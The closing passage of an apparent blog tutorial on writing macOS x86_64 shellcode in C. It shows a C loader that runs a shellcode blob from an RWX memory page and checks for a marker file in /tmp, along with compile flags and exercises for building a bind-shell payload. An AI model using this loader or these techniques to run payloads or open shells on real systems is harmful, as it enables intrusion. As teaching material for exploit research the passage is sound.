Stage 3 — the loader. The same fork-based loader from our x86_64 assembly post — mmap an RWX page (allowed on Intel, remember our ARM64 post where Apple Silicon said no), copy the blob, cast, call, And the parent checks the side-effect. This time we #include the generated header instead of pasting bytes — lesson learned:
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/wait.h>
#include <stdlib.h>
#include "shellcode.h" /* generated by: xxd -i shellcode.bin > shellcode.h */
int main(void) {
unsigned char *code = shellcode_bin;
size_t len = shellcode_bin_len;
pid_t pid = fork();
if (pid < 0) {
perror("fork");
return 1;
}
if (pid == 0) {
// child: allocate RWX, copy shellcode and execute
void *exec = mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANON|MAP_PRIVATE, -1, 0);
if (exec == MAP_FAILED) {
perror("mmap");
_exit(127);
}
memcpy(exec, code, len);
int (*func)() = (int(*)())exec;
int r = func(); // if shellcode calls execve, child will be replaced
_exit(r & 0xFF);
} else {
// parent: wait for child and then check side-effect
int status = 0;
printf("[parent %d] spawned child %d, waiting...\n", getpid(), pid);
fflush(stdout);
if (waitpid(pid, &status, 0) == -1) {
perror("waitpid");
return 2;
}
if (WIFEXITED(status)) {
printf("[parent] child exited with status %d\n", WEXITSTATUS(status));
} else if (WIFSIGNALED(status)) {
printf("[parent] child killed by signal %d\n", WTERMSIG(status));
}
usleep(200000);
const char *check_path = "/tmp/Pwned.txt";
if (access(check_path, F_OK) == 0) {
printf("[parent] Success: '%s' exists.\n", check_path);
return 0;
} else {
printf("[parent] Failure: '%s' not found (errno=%d: %s)\n",
check_path, errno, strerror(errno));
return 3;
}
}
}
Compile and fire:
shellcoding % clang -arch x86_64 -o cloader cloader.c
shellcoding % rm -f /tmp/Pwned.txt
shellcoding % ./cloader
[parent 90000] spawned child 90001, waiting...
[child 90001] executing shellcode (146 bytes)...
[parent] child exited with status 0
[parent] Success: '/tmp/Pwned.txt' exists.
shellcoding % cat /tmp/Pwned.txt
W00tW00t
Our C-written shellcode, extracted from the compiler’s output, Executed from an anonymous RWX page — And the file is there. Full circle.
Conclusion
We closed the loop on our macOS shellcoding series: instead of hand-writing assembly, We wrote our shellcode in C and made the compiler produce it for us — On the same x86_64 Intel Mac, With Apple clang — Using two methods, Cooking the same W00tW00t payload both times. Method 1 eliminated the compiler’s bad habits entirely: RIP-relative addressing, outsourced libc calls, stack protector, relocations — neutralized with stack-built immediate strings, inline-assembly syscall wrappers, And the exact compile recipe -O2 -ffreestanding -fno-stack-protector -fno-builtin, Verified by the silent trio (nm -u, grep rip, otool -r) — Producing a 146-byte, reloc-free, syscall-only blob that runs anywhere, Any boot. Method 2 embraced libc through function-pointer placeholders — typedef + cast + call rax — Patched with the real shared-cache address read at runtime, Which makes it position-dependent (dies on reboot) But perfect for local exploitation, And blazing fast to develop. We also collected two bonus lessons the hard way: modern clang folds the classic char-array trick back into rip-dependent literals (element-wise assignments and u64 immediates are the cure), A never hand-copy shellcode bytes into a C array — let xxd -i do it. The same workflows port straight to ARM64 from our previous post — same rules, Different immediate sizes (movz/movk instead of movabs) and svc #0x80 instead of syscall. This foundation sets the stage for more advanced topics.
Exercises
If you want to flex both methods, Here are two challenges:
- Method 1: Recreate the
BindShellfrom ourx86_64assembly post — But inC, Syscall-only, Using thesc3/sc4inline-assembly wrappers. Remember theBSDsyscall numbers forsocket=97,bind=104,listen=106,accept=30,dup2=90(verify them insyscalls.master!), And that the 4th+ syscall arguments travel inR10— Extend your wrapper accordingly. - Method 2: Take the same
BindShellCcode from ourx86_64post (the one withsocket(),bind(),listen(),accept()and thedup2loop) — And apply the Method 2 treatment: replace everylibccall with a function-pointer placeholder, Build every string with immediates, Fetch the real addresses at runtime with agetaddress-style helper, Then patch, Extract, And load it. Compare the effort with the Method 1 version and you’ll see exactly why this technique exists — And remember: the moment your Mac reboots, All those beautiful addresses turn into pumpkins.
Help ?
If you got any questions or need help, You can contact me:
- Twitter/X
- Email: contact@zeyadazima.com
- Discord:
.killer_1337including.
References
- https://github.com/Zeyad-Azima/macOShellcoding
- https://opensource.apple.com/releases/
- https://github.com/apple-oss-distributions/xnu
- https://codebrowser.dev/
- https://man.freebsd.org/
- https://pubs.opengroup.org
- https://developer.apple.com/documentation/xcode/writing-arm64-code-for-apple-platforms
- https://newosxbook.com